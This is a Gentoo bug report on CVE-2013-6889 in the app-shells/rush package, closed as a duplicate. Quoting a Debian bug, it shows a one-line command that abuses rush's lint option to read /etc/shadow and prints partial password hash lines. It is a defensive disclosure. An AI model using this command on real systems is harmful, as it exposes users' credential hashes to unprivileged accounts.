Bug 496544

Summary:	[sunrise] app-shells/rush (CVE-2013-6889)
Product:	Gentoo Linux	Reporter:	Florian Steinel <Florian.Steinel>
Component:	New packages	Assignee:	Gentoo Linux bug wranglers <bug-wranglers>
Status:	RESOLVED DUPLICATE
Severity:	normal
Priority:	Normal
Version:	unspecified
Hardware:	All
OS:	Linux
Whiteboard:
Package list:		Runtime testing required:	---
Bug Depends on:	247631
Bug Blocks:

Description Florian Steinel 2013-12-30 20:48:36 UTC

The sunrise ebuild for app-shells/rush (see Bug #247631) contains an security flaw.
See http://blog.steve.org.uk/a_good_week_.html and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=733505 for Details.

Example (from the Debain Bug):

shelob ~ $ rush --lint /etc/shadow 2>&1| head -n 2
rush: Info: /etc/shadow:1: unknown statement: root:$6$zwJQWKVo$../Wg.rwXXitSyS8/.../:15884:0:99999:7:::
rush: Info: /etc/shadow:2: unknown statement: daemon:*:15884:0:99999:7:::

Comment 1 Jeroen Roovers (RETIRED) gentoo-dev

2013-12-30 23:08:21 UTC


*** This bug has been marked as a duplicate of bug 247631 ***